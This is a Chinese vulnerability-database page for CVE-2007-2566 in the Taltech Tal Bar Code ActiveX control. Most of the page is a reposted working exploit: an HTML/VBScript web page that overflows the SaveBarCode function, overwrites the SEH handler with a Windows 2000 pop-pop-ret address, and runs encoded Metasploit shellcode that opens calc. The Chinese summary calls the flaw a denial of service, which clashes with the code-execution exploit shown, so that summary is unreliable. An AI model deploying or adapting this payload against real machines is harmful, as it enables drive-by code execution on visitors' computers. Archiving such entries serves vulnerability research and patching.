Taltech Tal Bar Code控件SaveBarCode函数拒绝服务攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112896 漏洞类型 未知
发布时间 2007-05-08 更新时间 2007-05-09
CVE编号 CVE-2007-2566 CNNVD-ID CNNVD-200705-172
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/3872
https://www.securityfocus.com/bid/86208
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200705-172
|漏洞详情
TaltechTalBarCodeActiveX控件中的SaveBarCode函数允许远程攻击者通过上传多个栏代码,比如一个WSP包裹,引起拒绝服务攻击(磁盘损耗)。
|漏洞EXP
<!--

  ===============================================================================================
                        Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit
                                            By Umesh Wanve 
  ==============================================================================================   
        
  Date : 08-05-2007
 
  Reference: http://www.securityfocus.com/archive/1/467822/30/0/threaded

  Tested on Windows 2000 SP4 Server English
            Windows 2000 SP4 Professional English
 
  Opens Calculator on the Vulnerable machine.
 
  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Always thanks to Metasploit and Stroke 

-->

<html>

<title>
 Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit - By Umesh Wanve
</title>

<body>

<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:C917E12F-9757-11D2-85DB-F01851C10000" > </OBJECT>

<script language="vbscript">

targetFile = "C:\Program Files\TAL Bar Code ActiveX Demo\TALBarCd.OCX"
prototype  = "Sub SaveBarCode ( ByVal FileName As String )"
memberName = "SaveBarCode"
progid     = "TALBarCode.TALBarCd"
argCount   = 1

<!-- win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  -->
shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")


nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")                

pointer_to_seh=unescape("%eb%06%90%90")

<!-- 0x750211a9  -- pop pop ret from ws2help.dll from windows2000 SP4  -->

seh_handler=unescape("%a9%11%02%75")   

                                

arg1=String(2488,"A")

arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop


target.SaveBarCode arg1


</script>
</body>
</html>

# milw0rm.com [2007-05-08]
|受影响的产品
TalTech Tal Bar Code Activex Control 0
|参考资料

来源:BUGTRAQ
名称:20070505TaltechTalBarCodeActiveXControlMemoryCorruptionVulnerability(-ies)
链接:http://www.securityfocus.com/archive/1/archive/1/467822/100/0/threaded
来源:SECUNIA
名称:25180
链接:http://secunia.com/advisories/25180
来源:XF
名称:ttbc-savebarcode-file-upload(34130)
链接:http://xforce.iss.net/xforce/xfdb/34130
来源:SREASON
名称:2683
链接:http://securityreason.com/securityalert/2683